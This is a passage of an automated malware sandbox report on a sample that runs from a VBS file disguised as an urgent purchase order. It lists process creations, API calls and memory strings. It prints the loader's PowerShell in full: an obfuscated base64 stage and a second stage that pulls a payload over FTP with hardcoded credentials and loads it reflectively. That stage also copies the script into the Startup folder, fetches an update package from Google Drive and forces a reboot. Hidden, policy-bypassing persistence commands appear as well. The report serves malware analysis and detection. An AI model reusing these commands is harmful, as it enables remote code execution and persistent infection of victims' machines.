                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe22_2_00412132
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00419662 mouse_event,22_2_00419662
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApACAAJw' + [char]Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};"Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $qkkzc = 'ow' + [char]66 + '9adsakqagackaiaanaeqamq' + [char]66 + 'eacaaraanacaalaagafgaua' + [char]66 + 'vahuaaaakacaalaagaccaaa' + [char]66 + '0ahqaca' + [char]66 + 'zadoalwavahmaaq' + [char]66 + 'tag8abg' + [char]66 + 'hahmada' + [char]66 + 'vagwazq' + [char]66 + 'yagmaaq' + [char]66 + '1agmalg' + [char]66 + 'yag8alw' + [char]66 + 'pag0ayq' + [char]66 + 'naguacwavahmazq' + [char]66 + 'yahyazq' + [char]66 + 'yac4ada' + [char]66 + '4ahqajwagacgaia' + [char]66 + 'daf0aww' + [char]66 + '0agmazq' + [char]66 + 'qagiabw' + [char]66 + 'bacaalaagagwaba' + [char]66 + '1ag4ajaagacgazq' + [char]66 + 'rag8adg' + [char]66 + 'uaekalgapacaajw' + [char]66 + 'jafyarg' + [char]66 + 'yahaajwagacgaza' + [char]66 + 'vaggada' + [char]66 + 'lae0ada' + [char]66 + 'laecalgapaccamq' + [char]66 + 'zahmayq' + [char]66 + 'saemalgazahkacg' + [char]66 + 'hahiayg' + [char]66 + 'paewacw' + [char]66 + 'zageaba' + [char]66 + 'daccaka' + [char]66 + 'lahaaeq' + [char]66 + 'uahqazq' + [char]66 + 'hac4akqagafoayw' + [char]66 + 'cagmayqakacaaka' + [char]66 + 'kageabw' + [char]66 + 'mac4abg' + [char]66 + 'pageabq' + [char]66 + 'vaeqada' + [char]66 + 'uaguacg' + [char]66 + 'yahuaqwa6adoaxq' + [char]66 + 'uagkayq' + [char]66 + 'tag8ara' + [char]66 + 'wahaaqqauag0azq' + [char]66 + '0ahmaeq' + [char]66 + 'tafsaowapacaakqagaccaqqanacaalaagaccakye6ajmhjwagacgazq' + [char]66 + 'jageaba' + [char]66 + 'waguaugauagcauw' + [char]66 + '6aemaqg' + [char]66 + 'sacqaiaaoagcabg' + [char]66 + 'pahiada' + [char]66 + 'tadqang' + [char]66 + 'lahmayq' + [char]66 + 'cag0abw' + [char]66 + 'yaeyaoga6af0ada' + [char]66 + 'yaguadg' + [char]66 + 'uag8aqwauag0azq' + [char]66 + '0ahmaeq' + [char]66 + 'tafsaiaa9acaawg' + [char]66 + 'jaeiayw' + [char]66 + 'hacqaia' + [char]66 + 'daf0aww' + [char]66 + 'lahqaeq' + [char]66 + 'cafsaowanacuasq' + [char]66 + 'oaheaug' + [char]66 + 'yacuajwagad0aia' + [char]66 + 'yafaavq' + [char]66 + '1aggajaa7ackaia' + [char]66 + 'nafmaeg' + [char]66 + 'daeiabaakacaaka' + [char]66 + 'nag4aaq' + [char]66 + 'yahqauw' + [char]66 + 'kageabw' + [char]66 + 'sag4adw' + [char]66 + 'vaeqalg' + [char]66 + 'sagsaea' + [char]66 + 'iahoajaagad0aia' + [char]66 + 'nafmaeg' + [char]66 + 'daeiabaakadsaoa' + [char]66 + 'gafqavqa6adoaxq' + [char]66 + 'nag4aaq' + [char]66 + 'kag8ayw' + [char]66 + 'uaeualg' + [char]66 + '0ahgazq' + [char]66 + 'uac4abq' + [char]66 + 'lahqacw' + [char]66 + '5afmawwagad0aia' + [char]66 + 'nag4aaq' + [char]66 + 'kag8ayw' + [char]66 + 'uaeualg' + [char]66 + 'sagsaea' + [char]66 + 'iahoajaa7ackada' + [char]66 + 'uaguaaq' + [char]66 + 'saemayg' + [char]66 + 'lafcalg' + [char]66 + '0aguatgagahqayw' + [char]66 + 'lagoayg' + [char]66 + 'pac0adw' + [char]66 + 'lae4akaagad0aia' + [char]66 + 'sagsaea' + [char]66 + 'iahoajaa7ackaka' + [char]66 + 'lahmabw' + [char]66 + 'wahmaaq' + [char]66 + 'kac4aba' + [char]66 + 'rahgayg' + [char]66 + '6acqaowapacaajw' + [char]
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "; $jwral = $host.version.major.equals(2) ;if ( $jwral ) {$uvhrt = [system.io.path]::gettemppath();del ( $uvhrt + '\upwin.msu' );$faqoi = 'https://drive.google.com/uc?export=download&id=';$jwemr = $env:processor_architecture.contains('64') ;if ( $jwemr ) {$faqoi = ($faqoi + '1naqdnxigvi_q1rpkazftmygmaqtjxu42') ;}else {$faqoi = ($faqoi + '1g1jmxusx9mc9vmhvrjj2xofz3ak_clot') ;};$nqpmf = (new-object net.webclient);$nqpmf.encoding = [system.text.encoding]::utf8;$nqpmf.downloadfile($urlkb, $uvhrt + '\upwin.msu');$mynkz = ('c:\users\' + [environment]::username );riwcg = ($uvhrt + '\upwin.msu'); powershell.exe wusa.exe riwcg /quiet /norestart ; copy-item 'c:\users\user\desktop\urgent purchase order (p.o.) no.477764107102024.vbs' -destination ( $mynkz + '\appdata\roaming\microsoft\windows\start menu\programs\startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[system.net.servicepointmanager]::servercertificatevalidationcallback = {$true};[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;$lbczsg;$zbxkl = (new-object net.webclient);$zbxkl.encoding = [system.text.encoding]::utf8;$zbxkl.credentials = new-object system.net.networkcredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578jp@@');$lbczsg = $zbxkl.downloadstring( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/upcrypter/01/dll01.txt' );$zbxkl.dispose();$zbxkl = (new-object net.webclient);$zbxkl.encoding = [system.text.encoding]::utf8;$lbczsg = $zbxkl.downloadstring( $lbczsg );$huupx = 'c:\users\user\desktop\urgent purchase order (p.o.) no.477764107102024.vbs';[byte[]] $acbcz = [system.convert]::frombase64string( $lbczsg.replace( '?:?' , 'a' ) );[system.appdomain]::currentdomain.load( $acbcz ).gettype('classlibrary3.class1').getmethod( 'prfvi' ).invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huupx , 'd d1d' ) );};"
                      Source: unknownProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -executionpolicy bypass -command ". 'c:\users\user\appdata\roaming\program rules nvideo\update drivers nvideo\update drivers nvideo\update drivers nvideo\mdwpy.ps1' ";exit
                      Source: unknownProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -executionpolicy bypass -command ". 'c:\users\user\appdata\roaming\program rules nvideo\update drivers nvideo\update drivers nvideo\update drivers nvideo\mdwpy.ps1' ";exit
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $qkkzc = 'ow' + [char]66 + '9adsakqagackaiaanaeqamq' + [char]66 + 'eacaaraanacaalaagafgaua' + [char]66 + 'vahuaaaakacaalaagaccaaa' + [char]66 + '0ahqaca' + [char]66 + 'zadoalwavahmaaq' + [char]66 + 'tag8abg' + [char]66 + 'hahmada' + [char]66 + 'vagwazq' + [char]66 + 'yagmaaq' + [char]66 + '1agmalg' + [char]66 + 'yag8alw' + [char]66 + 'pag0ayq' + [char]66 + 'naguacwavahmazq' + [char]66 + 'yahyazq' + [char]66 + 'yac4ada' + [char]66 + '4ahqajwagacgaia' + [char]66 + 'daf0aww' + [char]66 + '0agmazq' + [char]66 + 'qagiabw' + [char]66 + 'bacaalaagagwaba' + [char]66 + '1ag4ajaagacgazq' + [char]66 + 'rag8adg' + [char]66 + 'uaekalgapacaajw' + [char]66 + 'jafyarg' + [char]66 + 'yahaajwagacgaza' + [char]66 + 'vaggada' + [char]66 + 'lae0ada' + [char]66 + 'laecalgapaccamq' + [char]66 + 'zahmayq' + [char]66 + 'saemalgazahkacg' + [char]66 + 'hahiayg' + [char]66 + 'paewacw' + [char]66 + 'zageaba' + [char]66 + 'daccaka' + [char]66 + 'lahaaeq' + [char]66 + 'uahqazq' + [char]66 + 'hac4akqagafoayw' + [char]66 + 'cagmayqakacaaka' + [char]66 + 'kageabw' + [char]66 + 'mac4abg' + [char]66 + 'pageabq' + [char]66 + 'vaeqada' + [char]66 + 'uaguacg' + [char]66 + 'yahuaqwa6adoaxq' + [char]66 + 'uagkayq' + [char]66 + 'tag8ara' + [char]66 + 'wahaaqqauag0azq' + [char]66 + '0ahmaeq' + [char]66 + 'tafsaowapacaakqagaccaqqanacaalaagaccakye6ajmhjwagacgazq' + [char]66 + 'jageaba' + [char]66 + 'waguaugauagcauw' + [char]66 + '6aemaqg' + [char]66 + 'sacqaiaaoagcabg' + [char]66 + 'pahiada' + [char]66 + 'tadqang' + [char]66 + 'lahmayq' + [char]66 + 'cag0abw' + [char]66 + 'yaeyaoga6af0ada' + [char]66 + 'yaguadg' + [char]66 + 'uag8aqwauag0azq' + [char]66 + '0ahmaeq' + [char]66 + 'tafsaiaa9acaawg' + [char]66 + 'jaeiayw' + [char]66 + 'hacqaia' + [char]66 + 'daf0aww' + [char]66 + 'lahqaeq' + [char]66 + 'cafsaowanacuasq' + [char]66 + 'oaheaug' + [char]66 + 'yacuajwagad0aia' + [char]66 + 'yafaavq' + [char]66 + '1aggajaa7ackaia' + [char]66 + 'nafmaeg' + [char]66 + 'daeiabaakacaaka' + [char]66 + 'nag4aaq' + [char]66 + 'yahqauw' + [char]66 + 'kageabw' + [char]66 + 'sag4adw' + [char]66 + 'vaeqalg' + [char]66 + 'sagsaea' + [char]66 + 'iahoajaagad0aia' + [char]66 + 'nafmaeg' + [char]66 + 'daeiabaakadsaoa' + [char]66 + 'gafqavqa6adoaxq' + [char]66 + 'nag4aaq' + [char]66 + 'kag8ayw' + [char]66 + 'uaeualg' + [char]66 + '0ahgazq' + [char]66 + 'uac4abq' + [char]66 + 'lahqacw' + [char]66 + '5afmawwagad0aia' + [char]66 + 'nag4aaq' + [char]66 + 'kag8ayw' + [char]66 + 'uaeualg' + [char]66 + 'sagsaea' + [char]66 + 'iahoajaa7ackada' + [char]66 + 'uaguaaq' + [char]66 + 'saemayg' + [char]66 + 'lafcalg' + [char]66 + '0aguatgagahqayw' + [char]66 + 'lagoayg' + [char]66 + 'pac0adw' + [char]66 + 'lae4akaagad0aia' + [char]66 + 'sagsaea' + [char]66 + 'iahoajaa7ackaka' + [char]66 + 'lahmabw' + [char]66 + 'wahmaaq' + [char]66 + 'kac4aba' + [char]66 + 'rahgayg' + [char]66 + '6acqaowapacaajw' + [char]Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "; $jwral = $host.version.major.equals(2) ;if ( $jwral ) {$uvhrt = [system.io.path]::gettemppath();del ( $uvhrt + '\upwin.msu' );$faqoi = 'https://drive.google.com/uc?export=download&id=';$jwemr = $env:processor_architecture.contains('64') ;if ( $jwemr ) {$faqoi = ($faqoi + '1naqdnxigvi_q1rpkazftmygmaqtjxu42') ;}else {$faqoi = ($faqoi + '1g1jmxusx9mc9vmhvrjj2xofz3ak_clot') ;};$nqpmf = (new-object net.webclient);$nqpmf.encoding = [system.text.encoding]::utf8;$nqpmf.downloadfile($urlkb, $uvhrt + '\upwin.msu');$mynkz = ('c:\users\' + [environment]::username );riwcg = ($uvhrt + '\upwin.msu'); powershell.exe wusa.exe riwcg /quiet /norestart ; copy-item 'c:\users\user\desktop\urgent purchase order (p.o.) no.477764107102024.vbs' -destination ( $mynkz + '\appdata\roaming\microsoft\windows\start menu\programs\startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[system.net.servicepointmanager]::servercertificatevalidationcallback = {$true};[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;$lbczsg;$zbxkl = (new-object net.webclient);$zbxkl.encoding = [system.text.encoding]::utf8;$zbxkl.credentials = new-object system.net.networkcredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578jp@@');$lbczsg = $zbxkl.downloadstring( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/upcrypter/01/dll01.txt' );$zbxkl.dispose();$zbxkl = (new-object net.webclient);$zbxkl.encoding = [system.text.encoding]::utf8;$lbczsg = $zbxkl.downloadstring( $lbczsg );$huupx = 'c:\users\user\desktop\urgent purchase order (p.o.) no.477764107102024.vbs';[byte[]] $acbcz = [system.convert]::frombase64string( $lbczsg.replace( '?:?' , 'a' ) );[system.appdomain]::currentdomain.load( $acbcz ).gettype('classlibrary3.class1').getmethod( 'prfvi' ).invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huupx , 'd d1d' ) );};"Jump to behavior
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerDT\|
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerDT\{
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerDT\$
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerDT\*
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerDT\i
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Managerc300cf
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerDT\G
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerDT\N
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerDT\
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [2024/10/07 01:10:23 Program Manager]
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager2
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerDT\6
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerDT\u
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: |Program Manager|
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager<
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerDT\X
                      Source: AddInProcess32.exe, 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [2024/10/07 01:10:19 Program Manager]
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00434CB6 cpuid 22_2_00434CB6
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: EnumSystemLocalesW,22_2_0045201B
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: EnumSystemLocalesW,22_2_004520B6
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,22_2_00452143
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: GetLocaleInfoW,22_2_00452393
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: EnumSystemLocalesW,22_2_00448484
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,22_2_004524BC
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: GetLocaleInfoW,22_2_004525C3
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,22_2_00452690
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: GetLocaleInfoW,22_2_0044896D
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: GetLocaleInfoA,22_2_0040F90C
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,22_2_00451D58
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: EnumSystemLocalesW,22_2_00451FD0
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
